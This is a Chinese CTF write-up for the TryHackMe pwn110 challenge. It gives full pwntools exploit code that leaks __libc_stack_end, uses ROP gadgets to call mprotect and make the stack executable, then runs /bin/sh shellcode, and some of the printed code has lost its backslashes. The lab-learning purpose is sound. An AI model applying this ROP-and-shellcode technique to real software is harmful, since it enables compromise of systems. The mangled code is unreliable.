thm_pwn110

admin 2024年11月24日11:47:34评论3 views字数 4577阅读15分15秒阅读模式

pwn110

checksec

Arch:       amd64-64-little
    RELRO:Partial RELRO
Stack:Canary found
    NX:         NX enabled
    PIE:No PIE (0x400000)
    SHSTK:Enabled
    IBT:Enabled
Stripped:No

canary、nx

运行情况

thm_pwn110

有溢出,它要求不用libc的情况下pwn

IDA分析

int __fastcall main(int argc,constchar**argv,constchar**envp)
{
  u32 uaddr2[8];// [rsp+0h] [rbp-20h] BYREF

  setup(argc, argv, envp);
  banner();
puts("Hello pwner, I'm the last challenge 😼");
puts("Well done, Now try to pwn me without libc 😏");
return gets(uaddr2);
}

8字节?但是实际测试下来不对

u32,那么,就是4字节,有8个元素,总共32字节

thm_pwn110

减个4,就是40,它必满足8字节的整数倍(输入+save_addr)

还没有canary保护

它这怎么一大堆函数,

也没找到其它函数,比如system

shift+f12,找字符串,无果

这没办法,看wp

通过IDA的exports一栏,可以去搜索一些函数

其中就有 mprotect__libc_stack_end

gdb调试

info functions libc_stack,找不到这个函数地址,看来要运行时抓取

答案

import sys
from pwn import*
from struct import*

exe ='./pwn110'
b=context.binary = ELF(exe,checksec=False)
pop_rdi=p64(0x000000000040191a)
libc_stack_end=p64(b.symbols.__libc_stack_end)
puts=p64(b.symbols.puts)
main=p64(b.symbols.main)

payload =b"A"*40
payload+=pop_rdi
payload+=libc_stack_end
payload+=puts
payload+=main
= process(exe)
#p=gdb.debug(exe,"b main")
p.recvuntil(b"libc")
p.recv()
p.sendline(payload)
func_address=p.recv().split(b"n")[0].ljust(8,b"x00")
print(f"func_address:{hex(u64(func_address))}")
start_addr=u64(func_address)&~0xfff
print(f"start_addr:{hex(start_addr)}")

pop_rsi=p64(0x000000000040f4de)
pop_rdx=p64(0x000000000040181f)
mprotect=p64(b.symbols.mprotect)
rsp_addr=p64(0x0000000000463c43)
shellcode=b'x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05'
payload2=b"A"*40
payload2+=pop_rdi+p64(start_addr)
payload2+=pop_rsi+p64(0x1000)
payload2+=pop_rdx+p64(0x7)
payload2+=mprotect
payload2+=rsp_addr+shellcode

p.sendline(payload2)
p.interactive()

过程分析

mprotect

https://razvioverflow.github.io/tryhackme/pwn101.html

Abusing a buffer overflow to craft a malicious call to mprotect(2) and change the stack protections making it executable in order to spawn a shell (shellcode).

利用了一个函数调用叫mprotect

https://www.man7.org/linux/man-pages/man2/mprotect.2.html

mprotect, pkey_mprotect - set protection on a region of memory

intmprotect(void addr[.len],size_t len,int prot);

mprotect() changes the access protections for the calling
process's memory pages containing any part of the address range
in the interval [addr, addr+len-1].  addr must be aligned to a
page boundary.

第三个参数,prot,包含了几个值的集合

https://docs.zephyrproject.org/4.0.0/doxygen/html/mman_8h.html

none 0x1
read 0x2
write 0x4

如果prot值为7,就说明包含上面这三部分

这个函数的作用,就是我要找到一个起始地址addr,然后长度为len,这一块区域我写进shellcode去执行

那么现在,寄存器的6个参数传参顺序:rdi->rsi->rdx->rcx->r8->r9;这个函数的参数占了三位,那就是前三个了

ROPgadget --binary pwn110 --depth 12 >gadgets.txt

0x000000000040191a: pop rdi ; ret
...
0x000000000040f4de: pop rsi ; ret
...
0x000000000040181f: pop rdx ; ret
...
0x0000000000463c43: jmp rsp

__libc_stack_end

那么找谁的起始地址,根据wp1,它找的应该是页面起始,而这个函数呢,其位置表示栈的某个边界值

通过泄露这个函数的地址

print __libc_stack_end 找不到这个值

它这种可能是只有在运行时才分配地址,所以需要抓这个值

泄露地址

那么,泄露地址,用gadget,老方法,还是通过puts,它的地址可以print,也可以直接调出来,反正要用它输出来某个函数的地址

payload依然遵循,溢出+参数+函数+返回地址

import sys
from pwn import*
from struct import*

exe ='./pwn110'
b=context.binary = ELF(exe,checksec=False)
pop_rdi=p64(0x000000000040191a)
libc_stack_end=p64(b.symbols.__libc_stack_end)
puts=p64(b.symbols.puts)
main=p64(b.symbols.main)

payload =b"A"*40
payload+=pop_rdi
payload+=libc_stack_end
payload+=puts
payload+=main
= process(exe)
#p=gdb.debug(exe,"b main")
p.recvuntil(b"libc")
p.recv()
p.sendline(payload)
func_address=p.recv().split(b"n")[0].ljust(8,b"x00")
print(f"func_address:{hex(u64(func_address))}")
p.interactive()

thm_pwn110

shellcode植入

这个时候得到了func_address,但是mprotect()需要进行一个栈对齐,也就是说addr参数,需要是系统页面大小的整数倍,已知:

getconf PAGESIZE,为4096,这个就作为mprotect()的第二个参数len了,即0x1000

print(hex(0x7ffd4a33b1f8&~0xfff)) 得到该页面的起始地址,也就是十六进制时,低三位(二进制为低12位)为0

...
start_addr=u64(func_address)&~0xfff
print(f"start_addr:{hex(start_addr)}")

...

现在对于mprotext()函数,三个参数都齐了,添加shellcode,返回地址为输入变量初始位置,可用jmp

https://www.exploit-db.com/exploits/46907

那么可以整理如下:

...
pop_rsi=p64(0x000000000040f4de)
pop_rdx=p64(0x000000000040181f)
mprotect=p64(b.symbols.mprotect)
rsp_addr=p64(0x0000000000463c43)
shellcode=b'x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05'
payload2=b"A"*40
payload2+=pop_rdi+p64(start_addr)
payload2+=pop_rsi+p64(0x1000)
payload2+=pop_rdx+p64(0x7)
payload2+=mprotect
payload2+=rsp_addr+shellcode

p.sendline(payload2)

...

thm_pwn110

总结

程序的代码、数据(包括栈和堆)等都分布在页面中

两步走,1.泄露__libc_stack_end求页面起始地址;2.mprotect函数修改权限并植入shellcode

加深了利用puts函数泄露地址的操作

jmp rsp+shellcode,跳转到栈顶,也就是变量所在位置,并填充变量

参考

wp1:https://razvioverflow.github.io/tryhackme/pwn101.html

shellcode:https://www.exploit-db.com/exploits/46907

https://www.man7.org/linux/man-pages/man2/mprotect.2.html

https://docs.zephyrproject.org/4.0.0/doxygen/html/mman_8h.html

原文始发于微信公众号(羽泪云小栈):thm_pwn110

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月24日11:47:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   thm_pwn110https://cn-sec.com/archives/3430307.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息